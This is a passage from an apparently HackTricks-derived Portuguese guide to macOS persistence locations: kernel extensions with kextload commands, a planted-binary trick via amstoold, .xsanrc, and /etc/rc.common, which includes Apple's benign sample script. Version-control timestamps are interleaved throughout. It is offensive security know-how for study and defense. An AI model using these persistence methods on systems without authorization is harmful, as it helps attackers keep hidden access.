É tão complicado instalar kext mesmo como root que não considerarei isso para escapar de ambientes restritos ou mesmo para persistência (a menos que você tenha um exploit)
2023-09-28 20:14:50 +00:00
{% endhint %}
2023-06-06 18:56:34 +00:00
2023-09-28 20:14:50 +00:00
#### Localização
2023-06-06 18:56:34 +00:00
2024-02-07 05:33:07 +00:00
Para instalar um KEXT como um item de inicialização, ele precisa ser **instalado em uma das seguintes localizações** :
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
* `/System/Library/Extensions`
2023-12-26 02:05:14 +00:00
* Arquivos KEXT integrados ao sistema operacional OS X.
2023-09-28 20:14:50 +00:00
* `/Library/Extensions`
2024-02-07 05:33:07 +00:00
* Arquivos KEXT instalados por software de terceiros
2023-09-28 19:21:57 +00:00
2024-02-13 00:50:30 +00:00
Você pode listar os arquivos KEXT atualmente carregados com:
2023-09-28 20:14:50 +00:00
```bash
kextstat #List loaded kext
kextload /path/to/kext.kext #Load a new one based on path
kextload -b com.apple.driver.ExampleBundle #Load a new one based on path
kextunload /path/to/kext.kext
kextunload -b com.apple.driver.ExampleBundle
```
2024-02-07 05:33:07 +00:00
Para mais informações sobre [**extensões de kernel, verifique esta seção** ](macos-security-and-privilege-escalation/mac-os-architecture/#i-o-kit-drivers ).
2023-09-28 19:21:57 +00:00
2023-09-28 20:14:50 +00:00
### ~~amstoold~~
2023-09-28 19:21:57 +00:00
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0029/ ](https://theevilbit.github.io/beyond/beyond\_0029/ )
2023-06-06 18:56:34 +00:00
2023-09-28 20:14:50 +00:00
#### Localização
2023-06-06 18:56:34 +00:00
2023-09-28 20:14:50 +00:00
* **`/usr/local/bin/amstoold`**
2024-02-07 05:33:07 +00:00
* Root necessário
2023-09-26 23:59:33 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e Exploração
2023-09-26 23:59:33 +00:00
2024-02-13 00:50:30 +00:00
Aparentemente, o `plist` de `/System/Library/LaunchAgents/com.apple.amstoold.plist` estava usando este binário enquanto expondo um serviço XPC... o problema é que o binário não existia, então você poderia colocar algo lá e quando o serviço XPC fosse chamado, seu binário seria executado.
2023-09-26 23:59:33 +00:00
2023-09-28 20:14:50 +00:00
Não consigo mais encontrar isso no meu macOS.
2023-09-26 23:59:33 +00:00
2023-09-28 20:14:50 +00:00
### ~~xsanctl~~
2023-09-26 23:59:33 +00:00
2024-02-07 05:33:07 +00:00
Descrição: [https://theevilbit.github.io/beyond/beyond\_0015/ ](https://theevilbit.github.io/beyond/beyond\_0015/ )
2023-06-01 21:09:46 +00:00
2023-09-28 20:14:50 +00:00
#### Localização
2023-06-01 21:09:46 +00:00
2023-09-28 20:14:50 +00:00
* **`/Library/Preferences/Xsan/.xsanrc`**
2024-02-07 05:33:07 +00:00
* Root necessário
2023-09-28 20:14:50 +00:00
* **Gatilho**: Quando o serviço é executado (raramente)
2023-06-01 21:09:46 +00:00
2024-02-07 05:33:07 +00:00
#### Descrição e exploração
2023-06-01 21:09:46 +00:00
2024-02-13 00:50:30 +00:00
Aparentemente, não é muito comum executar este script e nem mesmo consegui encontrá-lo no meu macOS, então se você quiser mais informações, verifique o writeup.
2023-06-01 21:09:46 +00:00
2023-09-28 20:14:50 +00:00
### ~~/etc/rc.common~~
2023-06-01 21:09:46 +00:00
{% hint style="danger" %}
2024-02-13 00:50:30 +00:00
**Isso não está funcionando nas versões modernas do MacOS**
2023-06-01 21:09:46 +00:00
{% endhint %}
2023-12-26 02:05:14 +00:00
Também é possível colocar aqui **comandos que serão executados na inicialização.** Exemplo de script rc.common regular:
2023-06-01 21:09:46 +00:00
```bash
#
# Common setup for startup scripts.
#
# Copyright 1998-2002 Apple Computer, Inc.
#
######################
# Configure the shell #
######################
#
# Be strict
#
#set -e
set -u
#
# Set command search path
#
PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/libexec:/System/Library/CoreServices; export PATH
#
# Set the terminal mode
#
#if [ -x /usr/bin/tset ] && [ -f /usr/share/misc/termcap ]; then
# TERM=$(tset - -Q); export TERM
#fi
###################
# Useful functions #
###################
#
# Determine if the network is up by looking for any non-loopback
# internet network interfaces.
#
CheckForNetwork()
{
2023-09-26 23:59:33 +00:00
local test
if [ -z "${NETWORKUP:=}" ]; then
test=$(ifconfig -a inet 2>/dev/null | sed -n -e '/127.0.0.1/d' -e '/0.0.0.0/d' -e '/inet/p' | wc -l)
if [ "${test}" -gt 0 ]; then
NETWORKUP="-YES-"
else
NETWORKUP="-NO-"
fi
fi
2023-06-01 21:09:46 +00:00
}
alias ConsoleMessage=echo
#
# Process management
#
GetPID ()
{
2023-09-26 23:59:33 +00:00
local program="$1"
local pidfile="${PIDFILE:=/var/run/${program}.pid}"
local pid=""
if [ -f "${pidfile}" ]; then
pid=$(head -1 "${pidfile}")
if ! kill -0 "${pid}" 2> /dev/null; then
echo "Bad pid file $pidfile; deleting."
pid=""
rm -f "${pidfile}"
fi
fi
if [ -n "${pid}" ]; then
echo "${pid}"
return 0
else
return 1
fi
2023-06-01 21:09:46 +00:00
}
#
# Generic action handler
#
RunService ()
{
2023-09-26 23:59:33 +00:00
case $1 in
start ) StartService ;;
stop ) StopService ;;
restart) RestartService ;;
* ) echo "$0: unknown argument: $1";;
esac
2023-06-01 21:09:46 +00:00
}
```
2023-09-28 20:14:50 +00:00
## Técnicas e ferramentas de persistência
2023-06-01 21:09:46 +00:00
* [https://github.com/cedowens/Persistent-Swift ](https://github.com/cedowens/Persistent-Swift )
* [https://github.com/D00MFist/PersistentJXA ](https://github.com/D00MFist/PersistentJXA )
< details >
2024-03-17 16:28:29 +00:00
< summary > < strong > Aprenda hacking na AWS do zero ao herói com< / strong > < a href = "https://training.hacktricks.xyz/courses/arte" > < strong > htARTE (HackTricks AWS Red Team Expert)< / strong > < / a > < strong > !< / strong > < / summary >
2023-12-31 00:07:27 +00:00
Outras formas de apoiar o HackTricks:
2023-06-01 21:09:46 +00:00
2024-03-17 16:28:29 +00:00
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** , confira os [**PLANOS DE ASSINATURA** ](https://github.com/sponsors/carlospolop )!
2024-02-07 05:33:07 +00:00
* Adquira o [**swag oficial PEASS & HackTricks** ](https://peass.creator-spring.com )
* Descubra [**A Família PEASS** ](https://opensea.io/collection/the-peass-family ), nossa coleção exclusiva de [**NFTs** ](https://opensea.io/collection/the-peass-family )
2024-02-13 00:50:30 +00:00
* **Junte-se ao** 💬 [**grupo Discord** ](https://discord.gg/hRep4RUj7f ) ou ao [**grupo telegram** ](https://t.me/peass ) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm** ](https://twitter.com/hacktricks\_live )**.**
2024-02-23 16:42:31 +00:00
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks** ](https://github.com/carlospolop/hacktricks ) e [**HackTricks Cloud** ](https://github.com/carlospolop/hacktricks-cloud ).
2023-06-01 21:09:46 +00:00
< / details >